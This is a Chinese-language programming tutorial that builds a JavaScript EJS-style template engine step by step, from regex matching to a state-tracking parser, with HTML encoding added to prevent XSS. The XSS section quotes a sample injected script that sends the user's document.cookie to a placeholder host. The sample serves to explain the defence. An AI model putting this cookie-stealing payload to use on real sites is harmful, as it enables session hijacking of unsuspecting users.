下一篇: Macro task/Micro task

写一个模板引擎


在几年前学编程之初, 我只会通过字拼接来实现大量字符串处理, 一旦加入了逻辑代码就变得臃肿不堪, 在运行效率变低的同时, 代码的维护难度也在陡增. 当时我还不知道有模板引擎的存在, 直到后来项目中广泛用到模板引擎才明白它的便利.

编程提倡 高内聚, 低耦合, 简而言之, 复杂系统按功能拆分为多个子模块, 每个模块只做一件事, 功能不相关的模块独立开来, 互不影响, 功能相关的模块放在一起, 保证上下文切换迅速和高速通信. 因此, 系统其实可以拆分为 model, view, controller 三层, 首先一个 事件(或一个请求) 会触发 controller 层的模块 C 工作, C 会将事件投射到对应的 model 层的模块 M, M 会处理整个逻辑, 包括对数据库的 curd, 然后 M 会根据逻辑调用对应处于 view 层中的模块 V, 本章所说的模板引擎就处于 V 中, 在任何时候 M 只需将获取到的数据传入模块 V, 然后 V 会自动生成出想要的结果字符串.

有些地方会说 模板渲染, 感觉很高大上, 其实也就是函数生成字符串的过程

模板引擎不是简单的字符串替换, 它允许你在其中写入视图展示相关逻辑代码. 比如通过某个字段动态控制某个标签显隐.

模板引擎原理

为了让程序能将逻辑代码和原样输出的字符串区分开, 模板引擎通常使用 {{ }}, <% %> 作为特殊分隔符 , 因为它们容易在键盘输出, 可以区分括号内外, 且通常不会出现在代码中. 其他特殊字符例如 œ∑®† 也是可以的, 但输入比较麻烦.

现在有如下字符串模板, 我想用模板引擎将其转成一个函数, 此函数执行时可以用传入对象中的数据动态填充, 生成最终字符串并返回

最简单的模板引擎

最简单的模板引擎其实就是将字符串中特定片段匹配, 然后替换:

function format (str, data) {
    data = data || {};
    return tpl.replace(/%\((.+?)\)%/g, function ($0, $1) {
        return data[$1] || $1;
    });
}

var tpl = '' +
    '<tr>' +
        '<td>%(name)%</td>' +
        '<td>%(age)%</td>' +
        '<td>%(gender)%</td>' +
    '</tr>'

var res = format(tpl, {
    name: 'Jay',
    age: 39,
    gender: 'male'
});

上面这种模板替换函数只能对指定模板做一个简单替换, 如果模板里面涉及到逻辑判断则无能为力

包含逻辑的模板引擎

模板 tpl.ejs

<!-- 模板 tpl.ejs -->
<%if (list.length > 0) {%>
    <ul>
        <%list.forEach(function(e, i) {%>
            <%if (e.id > 1) {%>
                <li data-id="<%-e.id%>"><%=e.name%></li>
            <%}%>
        <%})%>
    </ul>
<%} else {%>
    <div class="null">无数据</div>
<%}%>

我要用模板引擎将上面代码转成一个函数 fn, 执行 fn 的时候传入 list 是个数组, 会动态渲染出来.

var fn = function () { /* 模板转换之后的函数 */ }

// 传入数组
var list = [{
    id: 1, name: 'Tom'
}, {
    id: 2, name: 'Jim'
}, {
    id: 3, name: 'Lily'
}]

fn({ list: list });
<!-- 想要的输出 -->
<ul>
    <li data-id="2">Jim</li>
    <li data-id="3">Lily</li>
</ul>

根据上面传入的数组和输出的字符串, 可以猜测出 fn 的函数体大概是这样:

function fn (data) {
    var res = '';
    with (data) {
        if (list.length) {
            res += '<ul>';
            list.forEach(function (e, i) {
                if (e.id > 1) {
                    res += '<li data-id="' + e.id '">' + e.name + '</li>';
                }
            });
            res += '</ul>';
        } else {
            res += '<div class="null">无数据</div>';
        }
    }
    return res;
}

那么, 实际上模板引擎做的事情就是把模板转成函数, 方便代码执行时能动态生成 html 字符串, 然后将其设置到某个 dom 节点的 innerHTML 即可.

XSS

XSS (Cross Site Script) 是跨站脚本注入的首字母缩写, 为了区别于 CSS, 所以叫 xss, xss 的主要攻击方式是脚本注入, 我们知道 script 标签在 html 中可以放在任何地方执行, 那么问题来了,

// 假设某论坛中有这么一段逻辑
var list = document.getElementById('list');
$.get('/get_post_list', function (res) {
    if (res.code === 0) {
        list.innerHTML = fn(res.data);
    }
})

上面第5行中, 通过 innerHTML 直接填充模板函数 fn 生成的字符串, webkit 内核会对其解析, 生成 DOM, CSSOM, 然后 重排重绘 等一系列操作, 因为 res.data 中包含其他用户提交的内容, 如果没有做安全防范, 则会原样输出到 list 节点内部, 假设其他用户发帖子提交内容中包含这么一段:

这里全是其他用户的提交内容, 哈哈
<script>
    var cookie = document.cookie;
    new Image().src = 'http://xxx.com?cookie=' + encodeURIComponent(cookie);
</script>

那么, 当我打开这个论坛, 显示那个用户发的帖子时, 实际上已经被他注入了上面的脚本, 并且直接盗取了我当前账号的 cookie, 因为 HTTP 协议是无状态的, 为了保持用户登录状态 ( 刷新或跳转同域其他页面后仍然是登录状态 ), 网站通常会使用 cookie-session 机制实现. 因此, cookie被盗 等同于当前网站账号的登录态被盗, 相当危险!

为了防止任何情况被 XSS 攻击, 我们要做的就是 - 永远不要相信用户输入, 在模板引擎中要对特殊字符转码, 把 <script> 替换为 &lt;script&gt;, 然后整个 script 及其包裹代码会当成纯文本解析, 直接输出, &lt;&gt; 最终渲染样式和 <, > 无任何区别

需要替换的符号和对应 html 符号是:

因此在显示用户输入内容之前, 就应该用一个 encode 函数对其转码:

function encode (html) {
    return String(html).replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/`/g, '&#96;')
        .replace(/'/g, '&#39;')
        .replace(/"/g, '&quot;')
}

事实上, 我们不应该对整个模板进行转码, 否则需要正常展示的 html 会无法被解析成 DOM 节点, 而是当成纯文本直接显示.

因此转码这件事需要在模板中去做, 这里使用 ejs 的模板规范, 输出的时候用 = 表示要对表达式的结果 encode 一下, - 表示直接原样输出表达式.

所以对比上面模板和 fn, 对 fn 的猜想要改成如下代码:

目标函数

function fn (data) {
    var res = '';
    with (data) {
        if (list.length) {
            res += '<ul>';
            list.forEach(function (e, i) {
                if (e.id > 1) {
                    res += '<li data-id="' + e.id '">' + encode(e.name) + '</li>';
                }
            });
            res += '</ul>';
        } else {
            res += '<div class="null">无数据</div>';
        }
    }
    return res;
}

对于 fn 和模板会发现, %> <% 之间的内容会直接保存到变量, 最后输出, <% %> 之间的内容是 js 逻辑代码, 所以模板引擎会首先用 <%%> 断开模板, 然后 逐片遍历, 那么首先想到的是 split

详看 下面代码, 回到模板 tpl.ejs

var tpl =  fs.readFileSync('./tpl.ejs').toString();

var arr = tpl.split(/<%[=-]?|%>/);

// // arr 得到这样的结果 
//
// [
//     'if (list.length > 0) {',
//     '\n\t<ul>\n\t\t',
//     'list.forEach(function(e, i) {',
//     '\n\t\t\t',
//     'if (e.id > 1) {',
//     '\n\t\t\t\t<li data-id=\'',
//     'e.id',
//     '\'>',
//     'e.name',
//     '</li>\n\t\t\t',
//     '}',
//     '\n\t\t','})',
//     '\n\t</ul>\n',
//     '} else {',
//     '\n\t<div class=\'null\'>无数据</div>\n',
//     '}'
// ]

arr.forEach(function (code, i) {
    // 这里我并不知道对应的片段 code 是 <%%> 之内还是之外 ? !
});

只能通过 <% %> 来判断内外关系, 因此想断开代码的同时, 还需要保留 <% %>

正则实现模板引擎

首先我要用正则匹配 <% ... %>, 那么:

/<%[\s\S]+?%>/

不能先匹配 <%...%> 之间再匹配 %>...<%, 因为他们之间的顺序是穿插的, 这里先尝试匹配 <%...%>, 如果不是 <% 开始才尝试用通配符匹配, 直到下一个 <% 位置, 所以需要用到 |, 表示否则的意思

完整的正则匹配

var tpl =  fs.readFileSync('./tpl.ejs').toString();

var arr = tpl.match(/<%[\s\S]+?%>|[\s\S]+?(?=<%)/g);

// // arr 的结果
//
// [
//     '<%if (list.length > 0) {%>',
//     '\n\t<ul>\n\t\t',
//     '<%list.forEach(function(e, i) {%>',
//     '\n\t\t\t',
//     '<%if (e.id > 1) {%>',
//     '\n\t\t\t\t<li data-id=\'',
//     '<%-e.id%>',
//     '\'>',
//     '<%=e.name%>',
//     '</li>\n\t\t\t',
//     '<%}%>',
//     '\n\t\t',
//     '<%})%>',
//     '\n\t</ul>\n',
//     '<%} else {%>',
//     '\n\t<div class=\'null\'>无数据</div>\n',
//     '<%}%>'
// ]

这正是我想要的! 直接遍历, 然后根据开头字符是否是 <% 判断是否在内部即可. 如果, 则直接作为 js 逻辑代码, 若不是, 直接作为输出字符串拼接到变量中

现在回过头来看上面的 目标函数

正则实现的最终版本:

function transform (tpl) {
    if (typeof tpl !== 'string') throw new TypeError('tpl 必须是 string!');

    var ret = '', list = tpl.match(/<%[\s\S]+?%>|[\s\S]+?(?=<%)/g);
    if (!list || list.length === 0) return function () { return ''; }
    list.forEach(function (code, i) {
        if (code.indexOf('<%') === 0) {
            code = code.replace(/^<%|%>$/g, '');
            var c = code.charAt(0);
            if (c === '=') {
                ret += 'res += encode(' + code.substring(1) + ');\n';
            } else if (c === '-') {
                ret += 'res += ' + code.substring(1) + ';\n';
            } else {
                ret += code + '\n';
            }
        } else {
            ret += 'res += "' + code.replace(/"/g, '\\"').replace(/\n/g, '\\n') + '";\n';
        }
    });
    ret = 'var res = "";\nwith (data || {}) {\n' + ret + '\n}\nreturn res;';
    var fn = new Function('data', 'encode', ret);
    return function (data) {
        return fn(data, encode);
    }

    function encode (html) {
        return String(html).replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/`/g, '&#96;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
    }
}

用正则表达式只能写到这里了, 但还 没完, 这个模板引擎是有bug的!

<%
function abc () {
    var str = 'test %> www';
}

if (list && list.length) {%>
    <ul>...</ul>
<%}%>

上图可见, 第三行中出现了字符串, 在 正则表达式的局限性 中提到过, js语句中的字符串内容变幻无穷, 除此之外, 里面可能包含 ///* */, 注释内容也可以是任意值, 所以一旦代码中的字符串或注释和分隔符 <% %> 重合, 就会导致模板转换出错.

准确地说, 其实正则表达式没有办法写一个无bug的模板引擎, 因为它只能做匹配、分组, 并不能判断当前匹配点是处于什么位置.

完美模板引擎

既然用正则无法完美分割, 那么只能 逐字解析, 但需要识别当前解析位置所处状态, 若是字符串或注释中, 即使遇到分隔号也跳过; 若是正则表达式中, 也是可以存在分隔符的. 因此, 我们做的事有点类似于在做 语法解析, 后面会单独聊聊 抽象语法树(AST)

模板引擎的解析无需用到抽象语法树(AST), 只需对特殊状态做一个识别并跳过即可, 以下是完美模板引擎:

/**
* created by fanlinfeng
*/

;(function (factory) {
  if(typeof module === 'object' && module.exports) {
    module.exports = factory();
  } else {
    window.tjs = factory();
  }
})(function () {
  function _encodeHTML (html) {
    return String(html)
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/`/g, '&#96;')
      .replace(/'/g, '&#39;')
      .replace(/"/g, '&quot;')
  }

  /**
   * html中会包含换行符, 直接拼接到js会报错, 且拼接时都是用的 "", \在字符串中为转义符, 也需要替换
   * 因此要把html中的 \, \n, " 转义
   */
  function _escape (str) {
    return String(str)
      .replace(/\\/g, '\\\\')
      .replace(/"/g, '\\"')
      .replace(/\n/g, '\\n')
  }

  return function transform (str, opt) {
    str = str || '';
    opt = opt || {};

    var open = opt.open || '<%'
      , close = opt.close || '%>'
      , openLen = open.length
      , closeLen = close.length
      , len = str.length

    var i = 0, j = 0, res = '', isJs = false, ch, tmp;

    while (j <= len) {
      if (!isJs) {
        // 如果是直接输出html

        // 遇到 <% 则代表视图逻辑代码开始, 设置 isJs 为 true
        if (str.indexOf(open, j) === j || j === len) {
          if (i < j) res += '_res.push("' + _escape(str.substring(i, j)) + '");\n';
          i = j += openLen;
          isJs = true;
          continue;
        }
      } else {
        // 如果是js逻辑代码

        // 遇到 // 单行注释时
        if (str.substring(j, j + 2) === '//') {
          j = str.indexOf('\n', j);
          j = ~j ? j + 1 : len;
          continue;
        }

        // 遇到 /* */ 多行注释时
        if (str.substring(j, j + 2) === '/*') {
          j = str.indexOf('*/', j + 2);
          j = ~j ? j + 2 : len;
          continue;
        }

        // 遇到正则表达式时
        if (str.charAt(j) === '/') {
          while (~(j = str.indexOf('/', j + 1)))
            if (str.charAt(j - 1) !== '\\') break;
          j = ~j ? j + 1 : len;
          continue;
        }

        // 遇到单引号字符串时
        if (str.charAt(j) === '\'') {
          while (~(j = str.indexOf('\'', j + 1)))
            if (str.charAt(j - 1) !== '\\') break;
          j = ~j ? j + 1 : len;
          continue;
        }

        // 遇到双引号字符串时
        if (str.charAt(j) === '"') {
          while (~(j = str.indexOf('"', j + 1)))
            if (str.charAt(j - 1) !== '\\') break;
          j = ~j ? j + 1 : len;
          continue;
        }

        // 遇到反引号时
        if (str.charAt(j) === '`') {
          while (~(j = str.indexOf('`', j + 1)))
            if (str.charAt(j - 1) !== '\\') break;
          j = ~j ? j + 1 : len;
          continue;
        }

        // 遇到 %> 则代表逻辑代码结束, 设置 isJs 为 false
        if (str.indexOf(close, j) === j || j === len) {
          ch = str.charAt(i);
          if (ch === '=' || ch === '-') {
            if (tmp = str.substring(i + 1, j).trim()) {
              res += ch === '='
                ? '_res.push(_encodeHTML(' + tmp + '));\n'
                : '_res.push(' + tmp + ');\n';
            }
          } else {
            res += str.substring(i, j) + '\n';
          }
          i = j += closeLen;
          isJs = false;
          continue;
        }
      }
      j++;
    }

    res = res
      ? 'var _res = [];\n' +
        'with (data || {}) {\n' + res + '}\n' +
        'return _res.join("");'
      : 'return "";'

    var body = new Function('data', '_encodeHTML', res);
    var render = function render (data) {
      return body(data, _encodeHTML);
    }

    return render.body = body, render;
  }
});

为了便于理解上面的代码, 我制作了一张 gif, 如下图:

至此, 一个功能完整的模板引擎的主框架就搭建完成! 为了让模板引擎格式化字符串更方便, 可自己为添加常见或自定义的 filter 功能, 例如 <%=data.money | currency%> 可对钱进行格式化. 也可在打包工具中为模板引擎添加缓存功能, 防止相同路径文件重复转换. 这些功能都能很轻松地实现, 这里不再做演示

测试例子

在线demo

下一篇: Macro task/Micro task